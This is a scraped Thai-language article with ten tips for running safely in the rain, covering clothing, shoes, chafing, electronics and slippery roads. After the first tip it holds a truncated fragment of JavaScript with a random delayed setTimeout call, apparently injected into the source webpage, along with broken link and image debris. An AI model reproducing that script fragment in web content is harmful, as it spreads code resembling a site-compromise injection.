รู้หรือไม่ การวิ่งในช่วงฝนตกจะช่วยให้เราวิ่งได้เร็วขึ้น สาเหตุเพราะเมื่อเวลามีฝนตก อุณหภูมิอากาศจะลดลง ช่วยให้ร่างกายนักวิ่งสามารถถ่ายเทความร้อนจาก core body ได้ดี เราจึงสามารถอัดแรงเพิ่มสปีดเพิ่มขึ้นได้ และนอกเหนือจากประโยชน์ที่ช่วยเพิ่มวามเร็วแล้ว การวิ่งในช่วงฝนตก ยังช่วยปรับสภาพจิตใจให้แข็งแกร่งมั่นคงมากขึ้น ให้ร่างกายและจิตใจได้มีโอกาสต้องต่อสู้กับสภาวะที่ไม่อาจความคุมได้ ช่วยในการรู้จักการเตรียมตัวเตรียมอุปกรณ์ให้เข้ากับสถานการณ์และยังช่วยลดความเครียดจากการทำงานลงได้ด้วย เสียงเม็ดฝนและความเงียบสงบจะช่วยชะล้างจิตใจให้สะอาด ความเงียบบนเส้นทางและการอยู่กับตัวเอง ช่วยเพิ่มสติและการคิดอ่านให้ใสชัดเจนมากขึ้น
นักวิ่งไม่กลัวฝน: เทคนิควิ่งเอาตัวรอดในวันฝนตกแบบง่ายๆ
สำหรับใครที่วางแผนจะวิ่งในช่วงหน้าฝนนี้ หากวันไหนที่มีฝนตก กำลังตกพร่ำๆ และฝนไม่ตกแบบรุนแรงมากจนเป็นอันตราย เราแนะนำเทคนิคต่อไปนี้ จะช่วยให้คุณไม่พลาดแผนการฝึกวิ่งหรือจะทำให้คุณวิ่งได้สนุกมากขึ้น
1. สวมหมวกแก๊ป และลองแบบที่มีปีกยาวสักนิด นอกจากจะช่วยกันแดดแล้ว ยังจะช่วยป้องกันเม็ดฝนกระเด็นหรือน้ำฝนไหลซึมเข้าตา หมวกแก๊ปยังช่วยป้องกันอุณหภูมิศีรษะไม่ให้ลดลงอย่างรวดเร็วด้วย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-activities/running/what-you-need-to-prepare-for-running-in-the-rain-2″>PRO TIPS | DICK’S Sporting Goods
2. ถ้ามีโอกาสวิ่งในเมืองนอก เวลาฝนตก อุณหภูมิมันจะลดลงและอากาศหนาวมากกว่าเดิม ให้มองหาเสื้อ base layer และเสื้อกันฝนกันลมแบบผ้า Gore-tech มาสวมใส่ โดยที่เนื้อผ้าจะสามารถกันน้ำได้ระดับหนึ่งและระบายอากาศในเวลาเดียวกันได้ด้วย
3. ไม่ต้องแต่งองค์ทรงเครื่องเยอะ เสื้อผ้าเน้นน้อยชิ้นแต่สามารถระบายอากาศและแห้งเร็วได้ บางทีชุดก็คล้ายๆ กับชุดวิ่งตอนอากาศร้อน แต่สีสันเน้นให้สีจัด สีแสบ สามารถมองเห็นได้แต่ไกลหน่อย ให้คนที่วิ่งตามหลังหรือคนที่ขับรถไปมาสามารถมองเห็นได้
4. ป้องกันแผลที่เกิดจากการเสียดสี ด้วยวาสลีน โดยทาตามง่ามขาง่ามเท้า โดยให้คิดเสมือนว่าเราจะออกไปวิ่งระยะทางไกลอย่างมาราธอน นอกจากนี้ก็เลี่ยงเนื้อผ้าที่ทำจาก cotton ด้วยเพราะมันจะดูดซับน้ำดี ใช้เวลาในการระบายหรือแห้งช้า มีโอกาสในการเกิดการเสียดสีระหว่างผิวหนังกับเสื้อผ้าสูง
5. ไม่ต้องเอารองเท้าคู่โปรดมาวิ่งในช่วงฝนตก เอาคู่เก่ามาใส่วิ่งแทน ถ้ารู้ว่าฝนจะหยุดตกในไม่ช้า ก็แนะนำให้ลองใส่ถุงพลาสติกทับถุงเท้า เวลาฝนหยุดตก ถนนเริ่มแห้งก็ถอดเปลี่ยนใส่คู่ใหม่ดู และอย่าลืมตากรองเท้าเปียกให้แห้ง ม้วนเศษกระดาษหนังสือพิมพ์ใส่ในรองเท้า จะช่วยดูดซับน้ำและทำให้แห้งเร็วขึ้น การตั้งรองเท้าเปียกทิ้งไว้โดยไม่ตากฝึ่งให้แห้ง จะทำให้อายุรองเท้าลดลงและมีกลิ่นอับ
Verywell Fit
6. อุปกรณ์อิเล็กโทรนิคและเศษเงินต่างๆ ให้เก็บใส่ถุงพลาสติก หรือถ้ามีเป้น้ำ ก็แนะนำให้ใช้ถุงพลาสติกห่อและเก็บใส่กระเป๋าอีกที
7. ดูปริมาณฝนที่ตก เพราะถ้าหากตกแบบฟ้ารั่ว ตกหนักแบบมีพายุฝนฟ้าคะนอง ก้ไม่ควรออกไปวิ่ง
8. ลงเท้าให้มีสติและระวังมากขึ้น เพราะพื้นผิวถนนจะเปียกมีโอกาสลื่นล้มได้มาก หยุดการลงเท้าแบบกระทืบหนักๆ จินตนาการลงเท้าเหมือนกับการวิ่งเทรล
:max_bytes(150000):strip_icc()/rainy-racers-Alextype-iStock-GettyImages-503713984-5a8a26ec6bf0690037a71c6a.jpg)
Verywell Fit
9. เตรียมผ้าขนหนูและเสื้อชุดลำลองไว้เปลี่ยนด้วย การวิ่งไปขณะที่เสื้อผ้าเปียกนานๆ จะทำให้ร่างกายเริ่มระบายอุณหภูมิได้ยากขึ้น ยิ่งในเมืองหนาวจะทำให้เกิดอาการหนาวสั่นจนเป็น hypothermia ดังนั้นควรมีชุดสำรอง ถอดเปลี่ยนเมื่อฝนเริ่มเบาลงหรือหากวิ่งจบแล้วก็เช็ดตัวและปรับเปลี่ยนเสื้อผ้าทันที และนอกจากนี้ ถุงเท้าสำรองก็แนะนำให้พกติดตัวไว้ด้วย
10. มองหาพื้นที่ปิดหรือสวนสาธารณะเป็นพื้นที่วิ่ง และพยายามหลบเลี่ยงการวิ่งบนไหล่ถนน
ความลับอีกอย่างหนึ่งของการวิ่งในช่วงฝนตก จะช่วยให้ร่างกายเราสามารถเผาผลาญพลังงานได้มากขึ้นด้วยนะ เพราะอุณหภูมิลดลง ร่างกายจำเป็นต้องเผาผลาญพลังงานเพิ่มขึ้นเพื่อให้ร่างกายอบอุ่นขึ้น (เรียกว่าเผาเครื่องร้อนระดับหนึ่ง) ให้ร่างกาย active ไม่ซึมไปกับอากาศหนาวๆ
อ้างอิง www.fleetfeet.com www.verywellfit.com